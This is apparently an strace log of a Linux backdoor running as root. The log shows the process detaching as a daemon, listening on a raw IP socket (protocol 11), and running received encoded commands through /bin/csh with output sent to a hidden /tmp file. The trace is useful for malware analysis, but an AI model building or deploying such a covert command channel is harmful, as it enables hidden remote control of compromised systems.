setsid() = 945
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021496238
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
setsid() = -1 EPERM (Operation not permitted)
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigprocmask(SIG_BLOCK, [CHLD], []) = 0
sigaction(SIGINT, {SIG_DFL}, NULL, 0x1d) = 0
sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x1e) = 0
sigprocmask(SIG_SETMASK, [], NULL) = 0
execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0
brk(0) = 0x80994a0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686/mmx", 0xbffff388) = -1 ENOENT (No such file or directory)
open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686", 0xbffff388) = -1 ENOENT (No such file or directory)
open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/mmx", 0xbffff388) = -1 ENOENT (No such file or directory)
open("/lib/libtermcap.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096
old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000
mprotect(0x40018000, 3016, PROT_NONE) = 0
old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000
close(1) = 0
open("/lib/libc.so.6", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000
mprotect(0x40106000, 30812, PROT_NONE) = 0
old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000
old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000
close(1) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
getpid() = 945
getuid() = 0
getgid() = 0
geteuid() = 0
getegid() = 0
brk(0) = 0x80994a0
brk(0x80994c0) = 0x80994c0
brk(0x809a000) = 0x809a000
time(NULL) = 1021496253
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
socket(PF_UNIX, SOCK_STREAM, 0) = 1
connect(1, {sin_family=AF_UNIX, path=" /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)
close(1) = 0
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/libnss_compat.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096
old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000
mprotect(0x40118000, 4076, PROT_NONE) = 0
old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000
close(1) = 0
open("/lib/libnsl.so.1", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096
old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000
mprotect(0x4012b000, 14376, PROT_NONE) = 0
old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000
old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(1) = 0
brk(0x809b000) = 0x809b000
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/etc/passwd", O_RDONLY) = 1
fcntl(1, F_GETFD) = 0
fcntl(1, F_SETFD, FD_CLOEXEC) = 0
fstat64(0x1, 0xbffff540) = -1 ENOSYS (Function not implemented)
fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000
_llseek(1, 0, [0], SEEK_CUR) = 0
read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60
close(1) = 0
munmap(0x4012f000, 4096) = 0
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/lib/libnss_files.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096
old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000
mprotect(0x40137000, 3616, PROT_NONE) = 0
old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000
close(1) = 0
brk(0x809c000) = 0x809c000
brk(0x809e000) = 0x809e000
getcwd("/",
4095) = 2
getpid() = 945
getppid() = 944
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
stat("/usr/kerberos/bin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)
stat("/usr/kerberos/bin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)
stat("/sbin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)
stat("/usr/sbin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)
stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0
getpgrp() = 945
fcntl(-1, F_SETFD, FD_CLOEXEC) = -1 EBADF (Bad file descriptor)
rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0
brk(0x809f000) = 0x809f000
brk(0x80a0000) = 0x80a0000
rt_sigprocmask(SIG_BLOCK, [INT CHLD], [], 8) = 0
fork() = 949
[pid 945] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 945] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[pid 945] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 945] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[pid 945] rt_sigaction(SIGINT, {0x805b6a0, [], 0x4000000}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
[pid 945] wait4(-1, <unfinished ...>
[pid 949] getpid() = 949
[pid 949] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 949] rt_sigaction(SIGTSTP, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGTTOU, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGTTIN, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGHUP, {SIG_IGN}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGILL, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGTRAP, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGABRT, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGFPE, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGBUS, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGSEGV, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGUNUSED, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGALRM, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGTERM, {SIG_IGN}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGXCPU, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGXFSZ, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGVTALRM, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGPROF, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGUSR1, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGUSR2, {SIG_DFL}, NULL, 8) = 0
[pid 949] rt_sigaction(SIGINT, {SIG_DFL}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
[pid 949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_IGN}, 8) = 0
[pid 949] rt_sigaction(SIGCHLD, {SIG_IGN}, {0x805c190, [], 0x4000000}, 8) = 0
[pid 949] open("/tmp/.hj237349", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 1
[pid 949] dup2(1, 2) = 2
[pid 949] fcntl(1, F_GETFD) = 0
[pid 949] execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0
[pid 949] brk(0) = 0x80994a0
[pid 949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
[pid 949] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] stat("/lib/i686/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)
[pid 949] open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] stat("/lib/i686", 0xbffff398) = -1 ENOENT (No such file or directory)
[pid 949] open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] stat("/lib/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)
[pid 949] open("/lib/libtermcap.so.2", O_RDONLY) = 3
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
[pid 949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096
[pid 949] old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40015000
[pid 949] mprotect(0x40018000, 3016, PROT_NONE) = 0
[pid 949] old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x2000) = 0x40018000
[pid 949] close(3) = 0
[pid 949] open("/lib/libc.so.6", O_RDONLY) = 3
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
[pid 949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
[pid 949] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000
[pid 949] mprotect(0x40106000, 30812, PROT_NONE) = 0
[pid 949] old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40106000
[pid 949] old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000
[pid 949] close(3) = 0
[pid 949] mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0
[pid 949] mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0
[pid 949] personality(PER_LINUX) = 0
[pid 949] getpid() = 949
[pid 949] getuid() = 0
[pid 949] getgid() = 0
[pid 949] geteuid() = 0
[pid 949] getegid() = 0
[pid 949] brk(0) = 0x80994a0
[pid 949] brk(0x80994c0) = 0x80994c0
[pid 949] brk(0x809a000) = 0x809a000
[pid 949] time(NULL) = 1021496253
[pid 949] rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0
[pid 949] rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
[pid 949] rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
[pid 949] rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
[pid 949] rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
[pid 949] rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
[pid 949] rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
[pid 949] rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
[pid 949] socket(PF_UNIX, SOCK_STREAM, 0) = 3
[pid 949] connect(3, {sin_family=AF_UNIX, path=" /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)
[pid 949] close(3) = 0
[pid 949] open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] open("/lib/libnss_compat.so.2", O_RDONLY) = 3
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0
[pid 949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096
[pid 949] old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4010e000
[pid 949] mprotect(0x40118000, 4076, PROT_NONE) = 0
[pid 949] old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x9000) = 0x40118000
[pid 949] close(3) = 0
[pid 949] open("/lib/libnsl.so.1", O_RDONLY) = 3
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0
[pid 949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096
[pid 949] old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40119000
[pid 949] mprotect(0x4012b000, 14376, PROT_NONE) = 0
[pid 949] old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x11000) = 0x4012b000
[pid 949] old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
[pid 949] close(3) = 0
[pid 949] brk(0x809b000) = 0x809b000
[pid 949] open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid 949] uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
[pid 949] open("/etc/passwd", O_RDONLY) = 3
[pid 949] fcntl(3, F_GETFD) = 0
[pid 949] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
[pid 949] fstat64(0x3, 0xbffff550) = -1 ENOSYS (Function not implemented)
[pid 949] fstat(3, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0
[pid 949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000
[pid 949] _llseek(3, 0, [0], SEEK_CUR) = 0
[pid 949] read(3, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60
[pid 949] close(3) = 0
[pid 949] munmap(0x4012f000, 4096) = 0
[pid 949] uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
[pid 949] open("/lib/libnss_files.so.2", O_RDONLY) = 3
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0
[pid 949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096
[pid 949] old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4012f000
[pid 949] mprotect(0x40137000, 3616, PROT_NONE) = 0
[pid 949] old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x7000) = 0x40137000
[pid 949] close(3) = 0
[pid 949] brk(0x809c000) = 0x809c000
[pid 949] brk(0x809e000) = 0x809e000
[pid 949] getcwd("/", 4095) = 2
[pid 949] getpid() = 949
[pid 949] getppid() = 945
[pid 949] stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
[pid 949] stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
[pid 949] stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
[pid 949] stat("/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
[pid 949] stat("/usr/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
[pid 949] stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0
[pid 949] getpgrp() = 945
[pid 949] fcntl(-1, F_SETFD, FD_CLOEXEC) = -1 EBADF (Bad file descriptor)
[pid 949] rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0
